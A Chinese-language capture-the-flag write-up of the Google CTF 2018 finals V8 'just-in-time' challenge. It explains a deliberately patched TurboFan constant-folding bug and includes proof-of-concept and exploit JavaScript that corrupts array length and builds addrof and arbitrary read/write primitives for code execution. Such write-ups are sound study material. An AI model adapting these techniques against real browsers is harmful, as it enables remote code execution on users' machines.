文章可能有些部分写的不好,希望师傅们批评指正
0 环境搭建
具体的题目下载
解压之后得到上面的文件
打开chrome查看一下v8的版本
v8的版本是7.0.276.3
方法 1
刚开始想要使用git reset hard的方式还原,但是找不到对应版本的hash值,后来想到可以在下面的网站找
https://chromium.googlesource.com/v8/v8.git/
找到对应的hash值并还原
回退到相应的版本后,进行patch(题目下发的patch文件)
patch 这里遇到了一个问题,就是直接使用脚本patch不进去,所以手动将脚本中的代码贴到相应的文件中
使用ninja进行编译
方法 2
另外还在一个师傅的github上找到了编译好的debug 和 release版的v8 , 可以直接下载
https://github.com/JeremyFetiveau/pwn-just-in-time-exploit
但是后期用这个版本调试的时候出现了点问题
方法 3
同时也可以使用博客上的build.sh文件
https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time
简单分析一下build.sh文件
fetch --nohooks chromium
cd src
build/install-build-deps.sh
gclient runhooks
# https://www.chromium.org/developers/how-tos/get-the-code/working-with-release-branches
git fetch --tags
git checkout tags/70.0.3538.9
gclient sync
gn gen out/Default
echo << EOF
Please set the following args:
> use_jumbo_build=true
> enable_nacl=false
> remove_webcore_debug_symbols=true
> use_goma = true # for googlers
> is_debug = false
EOF
gn args out/Default
git apply ../attachments/nosandbox.patch
pushd v8
git apply ../attachments/addition-reducer.patch
popd
autoninja -C out/Default chrome
相关的build文件和patch文件可以从下面的链接下载
https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time
这里的build.sh需要根据自己的路径进行修改
上述的搭建过程可能要proxy
1 背景知识
1.0 v8 浮点数表示
参考:
https://en.wikipedia.org/wiki/IEEE_754
v8用double表示浮点数
分为符号位S 指数位(EXP) 有效数位(Fraction) 分别为1位 11位 52位
浮点数所能表示的最大值就是将所有的有效数位填满, 一共是53位(转化方式如下图),1111……1 , 值为2^53 – 1 = 9007199254740991. 对应的浮点数0x433fffffffffffff
因为9007199254740991=11……1b(53位)=1.111……1b*2^52,指数位Exp=1023+52=1075=10000110011b,符号位S为0。
有效数位只有52位,当超过9007199254740991值时,比如9007199254740992,会在有效数位上加1导致溢出,失去精度,其二进制表示为1.0*2^53,由于只有52位,会舍弃最后的一个bit.
同理 参靠de4dcr0w的表格
图中红框里面的都会被舍弃
1.1 解题思路
本题给的是一个chrome,我们首先要找到其v8版本,进行调试,之后在攻击chrome
获取v8版本的方式,打开浏览器,地址栏输入chrome://version
2 漏洞分析
2.0 patch分析
题目中给了一个patch文件,引入了一些优化
本部分参考了 JeremyFetiveau师傅 sakura师傅 与 Nevv师傅的解释,三位师傅解释的很清楚了,膜拜一波,笔者本部分根据两者进行的理解
具体增加的函数代码如下
Reduction DuplicateAdditionReducer::Reduce(Node* node) {
switch (node->opcode()) {
case IrOpcode::kNumberAdd:
return ReduceAddition(node);
default:
return NoChange();
}
}
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
DCHECK_EQ(node->op()->ControlInputCount(), 0);
DCHECK_EQ(node->op()->EffectInputCount(), 0);
DCHECK_EQ(node->op()->ValueInputCount(), 2);
Node* left = NodeProperties::GetValueInput(node, 0);
if (left->opcode() != node->opcode()) {
return NoChange(); // [1]
}
Node* right = NodeProperties::GetValueInput(node, 1);
if (right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [2]
}
Node* parent_left = NodeProperties::GetValueInput(left, 0);
Node* parent_right = NodeProperties::GetValueInput(left, 1);
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [3]
}
double const1 = OpParameter<double>(right->op());
double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
NodeProperties::ReplaceValueInput(node, parent_left, 0);
NodeProperties::ReplaceValueInput(node, new_const, 1);
return Changed(node); // [4]
}
上面的增加的patch代码是在进行NumberAdd的时候产生的优化.我们有4个不同的代码路径(请阅读代码注释)。其中只有一个会导致节点更改。让我们画一个表示所有这些情况的模式。红色的节点表示它们不满足条件,导致返回NoChange。
case4表示的也就是 x+a+b , a和b都是Number常量的情况.优化后,会把左边的 a 和 b 相加,相加后的结果替换原有 NumberAdd 右边的NumberConstant,
但是实际情况下
2.1 POC尝试与优化图解
首先针对上面的浮点数背景知识介绍做个test
这是因为有效数位的最后一位被忽视省略了,两个浮点数实际在内存中是一样的.
之后尝试写了一下POC
function foo(x)
{
let a = [1.0,1.1,1.2,1.3,1.4];
let temp = (x == 'oob') ? Number.MAX_SAFE_INTEGER+4 : Number.MAX_SAFE_INTEGER+1;
let tmp = temp + 1 + 1;//trigger optimitisc
let idx = tmp - (Number.MAX_SAFE_INTEGER+1);
return idx;
}
console.log(foo('oob'));
console.log(foo(''));
%OptimizeFunctionOnNextCall(foo);
console.log(foo('oob'));
运行结果如下
可以看到最后输出了idx 为6 ,但是数组长度总共只有5, 看一下产生的优化图
这里可以看到右边的constant节点2
下面可以看到优化的时候,数组下标范围是(0,4),并且没有了checkbound节点
但是根据上面的POC,真正编译计算的时候却是可以到达下标6的,所以导致了数组溢出
sakura师傅的POC中对优化过程写的很清楚
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let x = doit ? 9007199254740992 : 9007199254740991-2;
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #30:SpeculativeNumberAdd[Number](#25:Phi, #29:NumberConstant, #26:Checkpoint, #23:Merge) [Type: Range(9007199254740990, 9007199254740992)]
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #31:SpeculativeNumberAdd[Number](#30:SpeculativeNumberAdd, #29:NumberConstant, #30:SpeculativeNumberAdd, #23:Merge) [Type: Range(9007199254740991, 9007199254740992)]
x -= 9007199254740991;//解释:range(0,1);编译:(0,3);
// #32:NumberConstant[9.0072e+15]() [Type: Range(9007199254740991, 9007199254740991)]
// #33:SpeculativeNumberSubtract[Number](#31:SpeculativeNumberAdd, #32:NumberConstant, #31:SpeculativeNumberAdd, #23:Merge) [Type: Range(0, 1)]
x *= 3;//解释:(0,3);编译:(0,9);
// #34:NumberConstant[3]() [Type: Range(3, 3)]
// #35:SpeculativeNumberMultiply[Number](#33:SpeculativeNumberSubtract, #34:NumberConstant, #33:SpeculativeNumberSubtract, #23:Merge) [Type: Range(0, 3)]
x += 2;//解释:(2,5);编译:(2,11);
// #36:NumberConstant[2]() [Type: Range(2, 2)]
// #37:SpeculativeNumberAdd[Number](#35:SpeculativeNumberMultiply, #36:NumberConstant, #35:SpeculativeNumberMultiply, #23:Merge) [Type: Range(2, 5)]
a[x] = 2.1729236899484e-311; // (1024).smi2f()
}
for (var i = 0; i < 100000; i++){
foo(true);
}
所以根据上面的分析,我们可以实现一个数组越界
3 尝试利用
3.0 改变数组大小导致越界
数组a 是越界数组
obj 和 ABUF是一会利用是用到的
根据数组length的位置,确定我们脚本中要修改的index
根据这个idx可以去调整上面脚本中idax的形成过程,加或者乘来达到修改数组大小的效果
修改数组大小的部分脚本如下
/*************************************************************
* File Name: m_exp.js
*
* Created on:
* Author:
*
* Last Modified:
* Description: exp for just in time game in google ctf 2018 final
************************************************************/
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class convert
{
constructor()
{
this.buf=new ArrayBuffer(8)
this.uint8array=new Uint8Array(this.buf);
this.float64array=new Float64Array(this.buf);
this.uint32array=new Uint32Array(this.buf);
this.bitint=new BigUint64Array(this.buf);
}
f2i(x)//float64 ==> uint64
{
this.float64array[0]=x;
return this.bitint[0];
}
i2f(x)
{
this.bitint[0]=BigInt(x);
return this.float64array[0];
}
}
let conv = new convert();
//oob array
let oob = undefined;
let obj = [];
let ABUF = [];
function foo(x)
{
let a = [1.0,1.1,1.2,1.3,1.4,1.5,1.6,1.7,1.8];//change idx
// %DebugPrint(a);
// %SystemBreak();
let b = (x == 'oob') ? Number.MAX_SAFE_INTEGER+5:Number.MAX_SAFE_INTEGER+1;
let tmp = b + 1 + 1 // triger
let idx = tmp - (Number.MAX_SAFE_INTEGER+1);//opi (0,6)
idx = idx*2;
// idx += 2;
a[idx] = 1.74512933848984e-310;//conv.i2f(0x202000000000);
return a
}//why???
foo("oob");
foo("");
for(let i=0; i<MAX_ITERATIONS; i++)
{
foo("")
}
oob = foo("oob");
console.log("[+] oobArray's length changed to 0x" + hex(oob.length));
// %DebugPrint(oob);
// %SystemBreak();
obj.push({mark:conv.i2f(0x41414141),obj:{}});
ABUF.push(new ArrayBuffer(0x41));
%DebugPrint(oob);
%DebugPrint(obj);
%DebugPrint(ABUF);
for(let i=0;i<0x10;i++)
{
new Array(0x1000000);
}//why???
let off_obj = 0;
for(let i=0;i<2020;i++)
{
let temp = conv.f2i(oob[i]);
if(temp == 0x41414141)
{
off_obj = i+1;
break;
}
}
console.log("[+] off_obj @"+off_obj);
let back_off = 0;
for(let i=0;i<2020;i++)
{
let tmp = conv.f2i(oob[i]);
if(tmp == 0x41)
{
oob[i] = conv.i2f(0x8);//length
back_off = i+1;
break;
}
}
console.log("[+] back_off @"+back_off);
// CSA_ASSERT failed: IsOffsetInBounds( offset, LoadAndUntagFixedArrayBaseLength(object),
// FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS) [../../src/code-stub-assembler.cc:2389]这行说明debug模式下,存在数组越界的check,如果想继续调试要想办法绕过
%SystemBreak();
3.1 构造任意读写原语与取地址
这个在上一篇文章的背景知识中写过了,这里不再赘述
这部分的脚本如下
var off_obj = 0;
for(let i=0;i<200;i++)
{
let temp = conv.f2i(oob[i]);
if(temp == 0x11111111)
{
off_obj = i+1;
break;
}
}
console.log("[+] off_obj @"+off_obj);
// %SystemBreak();
// readline();
var back_off = 0;
for(let i=0;i<500;i++)
{
let tmp = conv.f2i(oob[i]);
if(tmp == 0x200)
{
//oob[i] = conv.i2f(0x8);//length
back_off = i+1;
break;
}
}
console.log("[+] back_off @"+back_off);
// CSA_ASSERT failed: IsOffsetInBounds( offset, LoadAndUntagFixedArrayBaseLength(object),
// FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS) [../../src/code-stub-assembler.cc:2389]
let dataView = new DataView(ABUF[ABUF.length-1]);
function addrof(x)
{
obj[0].n = x;
return conv.f2i(oob[off_obj]);
}
function abread(addr)
{
oob[back_off] = conv.i2f(addr);
// let bigint = new BigUint64Array(ABUF);
// return bigint[0];
return conv.f2i(dataView.getFloat64(0,true));
}
function abwrite(addr,payload)
{
oob[back_off] = conv.i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
}
function dataview_write(addr, payload)
{
oob[back_off] = conv.i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
return ;
}
下面两张图用来核对obj对象位置
可以看到笔者脚本中设置的obj对象
addrof函数,就是将上图中0x41414141的位置换成我们写入的地址(暂时不知道的脚本对象),再通过oob数组得到地址
3.2 弹出计算器
创建RWX段
利用addrof原语找到这个段落
使用backstore读写这个地址
下面是笔者调试时候的信息
根据DebugPrint的信息可知道我们的RWX段地址基本上没有错误
最终效果
4 遇到的问题
当回退版本号的时候遇到了问题
网上有一些说…但是问题没有解决
后来突然想到应该跟hash值,但是从网上没有找到对应的hash值
最后回到ctf-time上,下载了相应的版本
每次gclient sync的时候都会在wasm git clone的时候断掉
原因是因为gclient sync的时候网速不行,有时断掉,换个梯子就好了
编译时遇到的问题
这个重启了一下解决了,但是具体原因没有搜到
补丁死活打不上…..
最后手动将补丁中的代码复制到相关的文件中
在debug模式下崩溃了,调试不了,在release模式调试下触发漏洞失败,但是不调试的时候可以正常跑起来
这个是debug版本有越界检查,可以根据错误修改源码中的检查重新编译debug版本
笔者之所以碰到上面的问题,是在找RWX段是寻址错了(下图),想要具体找寻原因,然后就遇上了上面调试不了的情况,后来发现是addrof原语写错了,下面就顺利的改了Exp,但是上面这个release版本下漏洞触发失败的问题还需师傅们指点.
release版本为什么直接触发不了暂时没有想到,
最后一步写shellcode的时候出现了下面的问题
改了下面的大小(0x200)就好
5 参考
https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/google-ctf2018-final-just-in-time
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/#preparing-turbolizer